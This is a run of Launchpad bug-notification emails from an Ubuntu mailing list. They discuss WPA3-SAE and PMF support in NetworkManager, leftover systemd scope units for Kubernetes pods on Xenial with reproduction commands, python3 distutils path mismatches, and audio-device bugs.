SAE, for instance, even if it's optional for WPA-PSK on the same SSID.
(that's a configurable option)

PMF should be enabled if at all possible.  PMF optional : mode 1 - recommended 
as long as the driver supports it, and pmf 2 - required - should be the other 
choice.   PMF disabled is only for systems where security is not an issue or 
the driver is known not to function.
It should raise a security alert if PMF is disabled. (eg: warning: this reduces 
security considerably)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1844422

Title:
  WPA3-SAE support

Status in gnome-shell package in Ubuntu:
  Triaged
Status in network-manager package in Ubuntu:
  Incomplete

Bug description:
  After some user feedback WPA3 support for NetworkManager has been
  finalized upstream:

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e1608030c6614d8dfd86122e9df81fdaad9453c9

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/84a86ce55f1e70cb32217d2c74242ff848db8cd7

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/merge_requests/276/diffs?commit_id=8d4497088fff562773b9c05260e810833bfc9c85

  At this time NetworkManager will not associate with Wifi-networks using WPA3.
  Tested using Ubuntu Ubuntu Eoan Ermine [development branch] with 
NetworkManager 1.20.2-1ubuntu1 and WPA_Supplicant 2:2.9-1ubuntu1.

  It would be great if the aforementioned commits where backported to
  Eoan before release, so that Eoan based systems will associate with
  WiFi-networks using WPA3.

  ==
  Update 09-10-2019:
  So it has come to my attention that NetworkManager needs one additional 
commit backported from upstream to make WPA3-SAE work:
  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e36c297fd8c6b1b57cd120739cc5ee8eab57aa08

  Without this latest commit connecting to WPA3-personal networks will
  still fail because of a lack of 802.11w support in the network-manager
  settings.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1844422/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847512] Re: xenial: leftover scope units for Kubernetes transient mounts

[Mauricio Faria de Oliveira]

*** This bug is a duplicate of bug 1846787 ***
https://bugs.launchpad.net/bugs/1846787

The systemd fix commit/from LP bug 1846787 has been verified 
to resolve the problem with test packages in ppa:mfo/sf219578 [1],
- no scope units are left over after the pods complete.

It's also been verified by another user on different K8s setup,
- no scope units are left over after the pods complete.

$ dpkg -s systemd | grep ^Version:
Version: 229-4ubuntu21.22+test20191008b1

With simple Pod:


$ systemctl list-units --type=scope | grep 'Kubernetes transient mount for'
$

$ kubectl create -f pod-with-secret.yaml

$ kubectl get pods
NAME  READY   STATUS  RESTARTS   AGE
pod-with-secret   0/1 Completed   0  35s

$ systemctl list-units --type=scope | grep 'Kubernetes transient mount for'
$

$ kubectl delete pods pod-with-secret
$ kubectl create -f pod-with-secret.yaml
$ kubectl get pods
NAME  READY   STATUS  RESTARTS   AGE
pod-with-secret   0/1 Completed   0  8s

$ systemctl list-units --type=scope | grep 'Kubernetes transient mount for'
$

$ kubectl delete pods pod-with-secret
$ kubectl create -f pod-with-secret.yaml
$ kubectl get pods
NAME  READY   STATUS  RESTARTS   AGE
pod-with-secret   0/1 Completed   0  5s

$ systemctl list-units --type=scope | grep 'Kubernetes transient mount for'
$

$ kubectl delete pods pod-with-secret
$ kubectl create -f pod-with-secret.yaml

$ systemctl list-units --type=scope | grep 'Kubernetes transient mount for'
$

$ kubectl delete pods pod-with-secret


With CronJob:


$ kubectl create -f cronjob-with-secret.yaml 
cronjob.batch/cronjob-with-secret created

< wait a few minutes >

$ kubectl get cronjobs
NAME  SCHEDULE  SUSPEND   ACTIVE   LAST SCHEDULE   AGE
cronjob-with-secret   */1 * * * *   False 024s 5m52s


$ systemctl list-units --type=scope | grep 'Kubernetes transient mount for'
$

$ kubectl delete cronjobs cronjob-with-secret

[1] https://launchpad.net/~mfo/+archive/ubuntu/sf219578

** Description changed:

  [Impact]
  
  When running Kubernetes on Xenial there's a leftover scope unit
  for the transient mounts used by a pod (eg, secret volume mount)
  together with its associate cgroup dirs, after the pod completes,
  almost every time such pod is created:
  
  $ systemctl list-units --type=scope | grep 'Kubernetes transient mount 
for'
  run-r560fcf858630417780c258c55fa21c8b.scope loaded active running 
Kubernetes transient mount for 
/var/snap/microk8s/common/var/lib/kubelet/pods/(...)/volumes/kubernetes.io~secret/(...)
  
  
/sys/fs/cgroup/devices/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope
  
/sys/fs/cgroup/pids/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope
  
/sys/fs/cgroup/blkio/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope
  
/sys/fs/cgroup/memory/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope
  
/sys/fs/cgroup/cpu,cpuacct/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope
  
/sys/fs/cgroup/systemd/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope
  
  This problem becomes noticeable with Kubernetes CronJobs as time
  goes by, as it repeatedly recreates pods to run the cronjob task.
  
  Over time, the leftover units (and associated cgroup directories)
  pile up to a significant amount, and start to cause problems for
  other components, with effects on /sys/fs/cgroup/ scanning:
  
  - Kubelet CPU/Memory Usage linearly increases using CronJob [1]
  
  and systemd commands time out, breaking things like Ansible:
  
  - failed: [...] (item=apt-daily-upgrade.service) => {[...]
    "msg": "Unable to disable service apt-daily-upgrade.service:
    Failed to execute operation: Connection timed out\n"}
  
  The problem seems to be related to empty cgroup notification
  on the legacy/classic hierarchy; it doesn't happen on hybrid
  or unified hierarchies.
  
  The fix is upstream systemd commit d8fdc62037b5 ("core: use
  an AF_UNIX/SOCK_DGRAM socket for cgroup agent notification").
  
  That patch is already in progress/review in bug 1846787 [2],
  and is present on Bionic and later, only Xenial is required.
  
  [Test Case]
  
  Create K8s pods with secret volume mounts (example below)
  on Xenial/4.15 kernel, and check this after it completes:
  
  $ sudo systemctl list-units --type=scope | grep 'Kubernetes
  transient mount for'
  
- (With the fix applied, there are zero units reported)
+ (With the fix applied, there are zero units reported -- see comment
+ #1)
  
  Steps:
  -
  
  Create a Xenial VM:
  
  $ uvt-simplestreams-libvirt sync release=xenial arch=amd64
  $ uvt-kvm create --memory 8192 --cpu 8 --disk 8 vm-xenial release=xenial 
arch=amd64
  
  Install the HWE/4.15 kernel and MicroK8s on it:
  
  $ uvt-kvm wait vm-xenial
  $ uvt-kvm ssh vm-xenial
  
  $ sudo apt update
  $ sudo apt inst

[Touch-packages] [Bug 1847512] [NEW] xenial: leftover scope units for Kubernetes transient mounts

[Mauricio Faria de Oliveira]

Public bug reported:

[Impact]

When running Kubernetes on Xenial there's a leftover scope unit
for the transient mounts used by a pod (eg, secret volume mount)
together with its associate cgroup dirs, after the pod completes,
almost every time such pod is created:

$ systemctl list-units --type=scope | grep 'Kubernetes transient mount for'
run-r560fcf858630417780c258c55fa21c8b.scope loaded active running 
Kubernetes transient mount for 
/var/snap/microk8s/common/var/lib/kubelet/pods/(...)/volumes/kubernetes.io~secret/(...)


/sys/fs/cgroup/devices/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope
/sys/fs/cgroup/pids/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope

/sys/fs/cgroup/blkio/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope

/sys/fs/cgroup/memory/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope

/sys/fs/cgroup/cpu,cpuacct/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope

/sys/fs/cgroup/systemd/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope

This problem becomes noticeable with Kubernetes CronJobs as time
goes by, as it repeatedly recreates pods to run the cronjob task.

Over time, the leftover units (and associated cgroup directories)
pile up to a significant amount, and start to cause problems for
other components, with effects on /sys/fs/cgroup/ scanning:

- Kubelet CPU/Memory Usage linearly increases using CronJob [1]

and systemd commands time out, breaking things like Ansible:

- failed: [...] (item=apt-daily-upgrade.service) => {[...]
  "msg": "Unable to disable service apt-daily-upgrade.service:
  Failed to execute operation: Connection timed out\n"}

The problem seems to be related to empty cgroup notification
on the legacy/classic hierarchy; it doesn't happen on hybrid
or unified hierarchies.

The fix is upstream systemd commit d8fdc62037b5 ("core: use
an AF_UNIX/SOCK_DGRAM socket for cgroup agent notification").

That patch is already in progress/review in bug 1846787 [2],
and is present on Bionic and later, only Xenial is required.

[Test Case]

Create K8s pods with secret volume mounts (example below)
on Xenial/4.15 kernel, and check this after it completes:

$ sudo systemctl list-units --type=scope | grep 'Kubernetes
transient mount for'

(With the fix applied, there are zero units reported)

Steps:
-

Create a Xenial VM:

$ uvt-simplestreams-libvirt sync release=xenial arch=amd64
$ uvt-kvm create --memory 8192 --cpu 8 --disk 8 vm-xenial release=xenial 
arch=amd64

Install the HWE/4.15 kernel and MicroK8s on it:

$ uvt-kvm wait vm-xenial
$ uvt-kvm ssh vm-xenial

$ sudo apt update
$ sudo apt install linux-image-4.15.0-65-generic
$ sudo reboot

$ uvt-kvm wait vm-xenial
$ uvt-kvm ssh vm-xenial

$ sudo snap install microk8s --channel=1.16/stable --classic
$ sudo snap alias microk8s.kubectl kubectl
$ sudo usermod -a -G microk8s $USER
$ exit

Check package versions:

$ uvt-kvm ssh vm-xenial

$ lsb_release -cs
xenial

$ uname -rv
4.15.0-65-generic #74~16.04.1-Ubuntu SMP Wed Sep 18 09:51:44 UTC 2019

$ snap list microk8s
Name  Version  Rev  Tracking  Publisher   Notes
microk8s  v1.16.0  920  1.16  canonical✓  classic

$ dpkg -s systemd | grep ^Version:
Version: 229-4ubuntu21.22

Create a pod with a secret/volume:

$ cat < pod-with-secret.yaml
apiVersion: v1
kind: Pod
metadata:
  name: pod-with-secret
spec:
  containers:
  - name: container
image: debian:stretch
args: ["/bin/true"]
volumeMounts:
- name: secret
  mountPath: /secret
  volumes:
  - name: secret
secret:
  secretName: secret-for-pod
  restartPolicy: Never
EOF

$ kubectl create secret generic secret-for-pod --from-
literal=key=value

Notice it leaves a transient scope unit running even after complete:

$ systemctl list-units --type=scope | grep 'Kubernetes transient mount for'
$

$ kubectl create -f pod-with-secret.yaml

$ kubectl get pods
NAME  READY   STATUS  RESTARTS   AGE
pod-with-secret   0/1 Completed   0  30s

$ systemctl list-units --type=scope | grep 'Kubernetes transient mount for'
run-r560fcf858630417780c258c55fa21c8b.scope loaded active running 
Kubernetes transient mount for 
/var/snap/microk8s/common/var/lib/kubelet/pods/7baa3896-a4ef-4c11-a2c2-09f94ca565f7/volumes/kubernetes.io~secret/default-token-24k4f

And more transient scope units are left running
as the pod is created again (e.g., like cronjob).

$ kubectl delete pods pod-with-secret
$ kubectl create -f pod-with-secret.yaml

$ systemctl list-units --type=scope | grep 'Kubernetes transient mount for'
run-r560fcf858630417780c258c55fa21c8b.scope loaded active running 
Kubernetes transient mount for 
/var/snap/microk8s/common/var/lib/kubelet/pods/7baa

[Touch-packages] [Bug 1847510] [NEW] python3 distutils reports path which is not in sys.path for /usr/local prefix

[Tobias Faller]

*** This bug is a duplicate of bug 1814653 ***
https://bugs.launchpad.net/bugs/1814653

Public bug reported:

sysconfig.distutils.get_python_lib() reports the path 
'/usr/local/lib/python3/dist-packages' for the prefix '/usr/local'.
This does not match the path '/usr/local/lib/python3.6/dist-packages' which is 
listed in sys.path.

Command: python3 -c "from distutils import sysconfig; 
print(sysconfig.get_python_lib(prefix='/usr/local'))"
Output: /usr/local/lib/python3/dist-packages

Command: python3 -c "import sys; print(sys.path)"
Output: ['', '/usr/local/python36.zip', '/usr/lib/python3.6', 
'/usr/lib/python3.6/lib-dynload', 
'/home/administrator/.local/lib/python3.6/site-packages', 
'/usr/local/lib/python3.6/dist-packages', '/usr/lib/python3/dist-packages']

Ubuntu release version: Ubuntu 18.04.3 LTS
python3-distutils version: 3.6.8~18.04

If this is a bug then this could be fixed by patching
distutils/sysconfig.py in some way. (attached)

** Affects: python3-defaults (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: python3

** Patch added: "distutils/sysconfig.py patch"
   
https://bugs.launchpad.net/bugs/1847510/+attachment/5296038/+files/python3_path_mismatch.patch

** This bug has been marked a duplicate of bug 1814653
get_python_lib() returns path to python3 instead of python3.6

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to python3-defaults in
Ubuntu.
https://bugs.launchpad.net/bugs/1847510

Title:
  python3 distutils reports path which is not in sys.path for /usr/local
  prefix

Status in python3-defaults package in Ubuntu:
  New

Bug description:
  sysconfig.distutils.get_python_lib() reports the path 
'/usr/local/lib/python3/dist-packages' for the prefix '/usr/local'.
  This does not match the path '/usr/local/lib/python3.6/dist-packages' which 
is listed in sys.path.

  Command: python3 -c "from distutils import sysconfig; 
print(sysconfig.get_python_lib(prefix='/usr/local'))"
  Output: /usr/local/lib/python3/dist-packages

  Command: python3 -c "import sys; print(sys.path)"
  Output: ['', '/usr/local/python36.zip', '/usr/lib/python3.6', 
'/usr/lib/python3.6/lib-dynload', 
'/home/administrator/.local/lib/python3.6/site-packages', 
'/usr/local/lib/python3.6/dist-packages', '/usr/lib/python3/dist-packages']

  Ubuntu release version: Ubuntu 18.04.3 LTS
  python3-distutils version: 3.6.8~18.04

  If this is a bug then this could be fixed by patching
  distutils/sysconfig.py in some way. (attached)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/python3-defaults/+bug/1847510/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1711101] Re: Audio doesn't auto switch away from HDMI after unplugging HDMI

[Cristiano Gavião]

In my case with Ubuntu 18.04.2, In order to reestablish the sound after
have removed the HDMI cable I need: to reattach the HDMI cable and turn
the TV on. Only then I can change the selected sound board to Built-in
Audio again and only after that I can detach the HDMI cable.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1711101

Title:
  Audio doesn't auto switch away from HDMI after unplugging HDMI

Status in PulseAudio:
  Unknown
Status in pulseaudio package in Ubuntu:
  Triaged

Bug description:
  
  Steps to reproduce

  * Attach an external HDMI/DP monitor to watch videos on an external display 
(TV)
  * In sound settings, send audio to HDMI out, rather than internal laptop audio
  * Play a video, to show audio is going over HDMI
  * Unplug HDMI/DP cable
   - Video switches to internal panel only as expected.

  Expected behaviour

  * Audio switches to internal sound card

  Actual behaviour

  * Audio does not auto switch

  Workaround

  * Go to sound settings panel every time, and click the internal sound
  card

  Video showing it: https://www.youtube.com/watch?v=UR3LP0INMeI

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: pulseaudio 1:10.0-2ubuntu2
  ProcVersionSignature: Ubuntu 4.11.0-13.19-generic 4.11.12
  Uname: Linux 4.11.0-13-generic x86_64
  ApportVersion: 2.20.6-0ubuntu5
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  alan   1568 F pulseaudio
   /dev/snd/controlC1:  alan   1568 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Wed Aug 16 11:11:45 2017
  InstallationDate: Installed on 2017-08-02 (13 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170712)
  SourcePackage: pulseaudio
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 01/27/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: JBET56WW (1.21 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 20BV001BUK
  dmi.board.vendor: LENOVO
  dmi.board.version: 0B98417 WIN
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: None
  dmi.modalias: 
dmi:bvnLENOVO:bvrJBET56WW(1.21):bd01/27/2016:svnLENOVO:pn20BV001BUK:pvrThinkPadT450:rvnLENOVO:rn20BV001BUK:rvr0B98417WIN:cvnLENOVO:ct10:cvrNone:
  dmi.product.name: 20BV001BUK
  dmi.product.version: ThinkPad T450
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/pulseaudio/+bug/1711101/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1844422] Re: WPA3-SAE support

[Giraffe]

@seb128
The Current version will not connect to WPA3-SAE secured Wi-Fi without that 
commit (being able to connect to WPA3-personal secured Wi-Fi is the whole point 
of this bug). 

This is because 802.11w is mandatory for WPA3-SAE (though it can be
disabled for certain configs) and NetworkManager up and until 1.20.4
passes "ieee80211w=0" (which disables 802.11w).

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1844422

Title:
  WPA3-SAE support

Status in gnome-shell package in Ubuntu:
  Triaged
Status in network-manager package in Ubuntu:
  Incomplete

Bug description:
  After some user feedback WPA3 support for NetworkManager has been
  finalized upstream:

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e1608030c6614d8dfd86122e9df81fdaad9453c9

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/84a86ce55f1e70cb32217d2c74242ff848db8cd7

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/merge_requests/276/diffs?commit_id=8d4497088fff562773b9c05260e810833bfc9c85

  At this time NetworkManager will not associate with Wifi-networks using WPA3.
  Tested using Ubuntu Ubuntu Eoan Ermine [development branch] with 
NetworkManager 1.20.2-1ubuntu1 and WPA_Supplicant 2:2.9-1ubuntu1.

  It would be great if the aforementioned commits where backported to
  Eoan before release, so that Eoan based systems will associate with
  WiFi-networks using WPA3.

  ==
  Update 09-10-2019:
  So it has come to my attention that NetworkManager needs one additional 
commit backported from upstream to make WPA3-SAE work:
  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e36c297fd8c6b1b57cd120739cc5ee8eab57aa08

  Without this latest commit connecting to WPA3-personal networks will
  still fail because of a lack of 802.11w support in the network-manager
  settings.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1844422/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1844422] Re: WPA3-SAE support

[Sebastien Bacher]

Why is it incomplete? Is the current version not working without that
commit?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1844422

Title:
  WPA3-SAE support

Status in gnome-shell package in Ubuntu:
  Triaged
Status in network-manager package in Ubuntu:
  Incomplete

Bug description:
  After some user feedback WPA3 support for NetworkManager has been
  finalized upstream:

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e1608030c6614d8dfd86122e9df81fdaad9453c9

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/84a86ce55f1e70cb32217d2c74242ff848db8cd7

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/merge_requests/276/diffs?commit_id=8d4497088fff562773b9c05260e810833bfc9c85

  At this time NetworkManager will not associate with Wifi-networks using WPA3.
  Tested using Ubuntu Ubuntu Eoan Ermine [development branch] with 
NetworkManager 1.20.2-1ubuntu1 and WPA_Supplicant 2:2.9-1ubuntu1.

  It would be great if the aforementioned commits where backported to
  Eoan before release, so that Eoan based systems will associate with
  WiFi-networks using WPA3.

  ==
  Update 09-10-2019:
  So it has come to my attention that NetworkManager needs one additional 
commit backported from upstream to make WPA3-SAE work:
  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e36c297fd8c6b1b57cd120739cc5ee8eab57aa08

  Without this latest commit connecting to WPA3-personal networks will
  still fail because of a lack of 802.11w support in the network-manager
  settings.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1844422/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 362570] Re: Python distutils installs into 'site-packages' instead of 'dist-packages' when a prefix is set

[Launchpad Bug Tracker]

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: python3-defaults (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to python3-defaults in
Ubuntu.
https://bugs.launchpad.net/bugs/362570

Title:
  Python distutils installs into 'site-packages' instead of 'dist-
  packages' when a prefix is set

Status in python2.6 package in Ubuntu:
  Fix Released
Status in python3-defaults package in Ubuntu:
  New
Status in python2.6 package in Debian:
  Fix Released

Bug description:
  Binary package hint: python2.6

  When running a setup.py script with distutils in Jaunty like this:

  $ python setup.py install

  modules get installed at '/usr/local/lib/python2.6/dist-packages'.

  In contrast, when running

  $ python setup.py install --prefix=/usr/local

  modules get installed at '/usr/local/lib/python2.6/site-packages'.

  In the same way

  $ python setup.py install --prefix=/usr

  installs modules at '/usr/lib/python2.6/site-packages'.

  The problem is that '/usr/[local/]lib/python2.6/site-packages' is not
  part of the default sys.path .

  Maybe this is intended but I would expect that specifying an install
  prefix like 'usr' or 'usr/local' still installs modules to a place
  which is in Python's default search path - it worked this way in
  Ubuntu <= 8.10 .

  ProblemType: Bug
  Architecture: i386
  DistroRelease: Ubuntu 9.04
  Package: python2.6 2.6.2~rc1-0ubuntu2
  ProcEnviron:
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: python2.6
  Uname: Linux 2.6.28-11-generic i686

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/python2.6/+bug/362570/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 362570] Re: Python distutils installs into 'site-packages' instead of 'dist-packages' when a prefix is set

[Tobias Faller]

** Changed in: python3-defaults (Ubuntu)
   Status: Confirmed => New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to python3-defaults in
Ubuntu.
https://bugs.launchpad.net/bugs/362570

Title:
  Python distutils installs into 'site-packages' instead of 'dist-
  packages' when a prefix is set

Status in python2.6 package in Ubuntu:
  Fix Released
Status in python3-defaults package in Ubuntu:
  New
Status in python2.6 package in Debian:
  Fix Released

Bug description:
  Binary package hint: python2.6

  When running a setup.py script with distutils in Jaunty like this:

  $ python setup.py install

  modules get installed at '/usr/local/lib/python2.6/dist-packages'.

  In contrast, when running

  $ python setup.py install --prefix=/usr/local

  modules get installed at '/usr/local/lib/python2.6/site-packages'.

  In the same way

  $ python setup.py install --prefix=/usr

  installs modules at '/usr/lib/python2.6/site-packages'.

  The problem is that '/usr/[local/]lib/python2.6/site-packages' is not
  part of the default sys.path .

  Maybe this is intended but I would expect that specifying an install
  prefix like 'usr' or 'usr/local' still installs modules to a place
  which is in Python's default search path - it worked this way in
  Ubuntu <= 8.10 .

  ProblemType: Bug
  Architecture: i386
  DistroRelease: Ubuntu 9.04
  Package: python2.6 2.6.2~rc1-0ubuntu2
  ProcEnviron:
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: python2.6
  Uname: Linux 2.6.28-11-generic i686

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/python2.6/+bug/362570/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1844422] Re: WPA3-SAE support

[Giraffe]

** Description changed:

  After some user feedback WPA3 support for NetworkManager has been
  finalized upstream:
  
  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e1608030c6614d8dfd86122e9df81fdaad9453c9
  
  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/84a86ce55f1e70cb32217d2c74242ff848db8cd7
  
  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/merge_requests/276/diffs?commit_id=8d4497088fff562773b9c05260e810833bfc9c85
  
  At this time NetworkManager will not associate with Wifi-networks using WPA3.
  Tested using Ubuntu Ubuntu Eoan Ermine [development branch] with 
NetworkManager 1.20.2-1ubuntu1 and WPA_Supplicant 2:2.9-1ubuntu1.
  
  It would be great if the aforementioned commits where backported to Eoan
  before release, so that Eoan based systems will associate with WiFi-
  networks using WPA3.
+ 
+ ==
+ Update 09-10-2019:
+ So it has come to my attention that NetworkManager needs one additional 
commit backported from upstream to make WPA3-SAE work:
+ 
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e36c297fd8c6b1b57cd120739cc5ee8eab57aa08
+ 
+ Without this latest commit connecting to WPA3-personal networks will
+ still fail because of a lack of 802.11w support in the network-manager
+ settings.

** Changed in: network-manager (Ubuntu)
   Status: Fix Committed => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1844422

Title:
  WPA3-SAE support

Status in gnome-shell package in Ubuntu:
  Triaged
Status in network-manager package in Ubuntu:
  Incomplete

Bug description:
  After some user feedback WPA3 support for NetworkManager has been
  finalized upstream:

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e1608030c6614d8dfd86122e9df81fdaad9453c9

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/84a86ce55f1e70cb32217d2c74242ff848db8cd7

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/merge_requests/276/diffs?commit_id=8d4497088fff562773b9c05260e810833bfc9c85

  At this time NetworkManager will not associate with Wifi-networks using WPA3.
  Tested using Ubuntu Ubuntu Eoan Ermine [development branch] with 
NetworkManager 1.20.2-1ubuntu1 and WPA_Supplicant 2:2.9-1ubuntu1.

  It would be great if the aforementioned commits where backported to
  Eoan before release, so that Eoan based systems will associate with
  WiFi-networks using WPA3.

  ==
  Update 09-10-2019:
  So it has come to my attention that NetworkManager needs one additional 
commit backported from upstream to make WPA3-SAE work:
  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e36c297fd8c6b1b57cd120739cc5ee8eab57aa08

  Without this latest commit connecting to WPA3-personal networks will
  still fail because of a lack of 802.11w support in the network-manager
  settings.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1844422/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1846930] Re: [HDA-Intel - HD-Audio Generic, playback] No sound at all nor audio record at all too

[nicola]

I plugged in these https://www.trust.com/it/product/20943-polo-
compact-2-0-speaker-set usb powered speaker (they work good, tried them
via otg cable on smartphone) still get no sound

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1846930

Title:
  [HDA-Intel - HD-Audio Generic, playback] No sound at all nor audio
  record at all too

Status in alsa-driver package in Ubuntu:
  New

Bug description:
  Any progress? Cannot hear anything nor record anything out my asrock
  fm2a75m-dgs

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: alsa-base 1.0.25+dfsg-0ubuntu5
  ProcVersionSignature: Ubuntu 4.15.0-65.74-generic 4.15.18
  Uname: Linux 4.15.0-65-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.9-0ubuntu7.7
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  hh 1267 F pulseaudio
   /dev/snd/controlC0:  hh 1267 F pulseaudio
  CurrentDesktop: XFCE
  Date: Sun Oct  6 09:27:53 2019
  InstallationDate: Installed on 2019-03-31 (188 days ago)
  InstallationMedia: Xubuntu 18.04 LTS "Bionic Beaver" - Release amd64 
(20180426)
  PackageArchitecture: all
  ProcEnviron:
   LANGUAGE=it
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=it_IT.UTF-8
   SHELL=/bin/bash
  SourcePackage: alsa-driver
  Symptom: audio
  Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Generic failed
  Symptom_Card: GP107GL High Definition Audio Controller - HDA NVidia
  Symptom_DevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  hh 1267 F pulseaudio
   /dev/snd/controlC0:  hh 1267 F pulseaudio
  Symptom_Type: No sound at all
  Title: [HDA-Intel - HD-Audio Generic, playback] No sound at all
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 12/01/2016
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: P2.70
  dmi.board.name: FM2A75M-DGS
  dmi.board.vendor: ASRock
  dmi.chassis.asset.tag: To Be Filled By O.E.M.
  dmi.chassis.type: 3
  dmi.chassis.vendor: To Be Filled By O.E.M.
  dmi.chassis.version: To Be Filled By O.E.M.
  dmi.modalias: 
